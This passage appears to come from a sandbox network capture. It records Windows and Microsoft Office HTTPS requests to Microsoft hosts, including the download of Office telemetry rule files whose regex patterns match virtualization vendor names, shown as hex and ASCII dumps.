n4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p= Cache-Control: no-cache MS-CV: fpZFV58WtUqgL43x.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:44 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: Yc6Ix6QwNXNLU+9bk6yT1nW/t8fm/+dz6eDCZn4zJMFJVY8hFQUwVJv6d4TTTr7+ut4TcrQe4/fIw6KOKFdaco+g5Iqh5UoMitzhX/jN/IjlWD6nuw7MjUtI/NCvxE/YQ+dwyjWTKeasjDgBRIFVu6jAMxpDpyiFoOjzp8TD60K4bb/AGTiBNLVvYJHkF19+X+IfRIAWfs0djvsdZ1SShoJ9mmF85MYeypy4xep8mAx+nP8lu6iFDdjf8CfMckBmYezl0iJBuZg2gafsGxt3kkWJhdUb+Tuk233hCiyn9g/O/vhXNHi9DB08G8KBeQjDElGbfYf19IQzyLRN3YIp2A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:43 GMT Connection: close
2024-12-06 17:45:44 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:45 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:45 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174545Z-r1cf579d778dc6d7hC1EWR2vs800000000p0000000003hzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:45 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174545Z-1746fd949bdqpttnhC1EWRe1wg000000047g00000000nq1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:45 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:45 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174545Z-r1cf579d778t5c2lhC1EWRce3w00000000qg000000004vpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 901a75be-701e-0053-76cb-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174545Z-1746fd949bdhk6hphC1EWRaw3c00000004d0000000001848 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174545Z-1746fd949bdkw94lhC1EWRxuz400000004tg0000000012cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:47 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:47 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174547Z-1746fd949bdb8xvchC1EWRmbd400000004bg00000000zspw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:47 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:47 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:47 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6fdb675e-b01e-0070-05ce-451cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174547Z-1746fd949bdwt8wrhC1EWRu6rg00000004mg00000000t59x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:47 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:47 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:47 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174547Z-1746fd949bdkw94lhC1EWRxuz400000004m000000000xqqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:48 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:47 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174547Z-1746fd949bdzd2qvhC1EWRcygw00000004ag000000007bva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:48 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 1a0f4f93-001e-0049-61cb-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174548Z-1746fd949bdjrnwqhC1EWRpg2800000004mg00000000by61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49813	2.18.40.150	443

Timestamp	Bytes transferred	Direction	Data
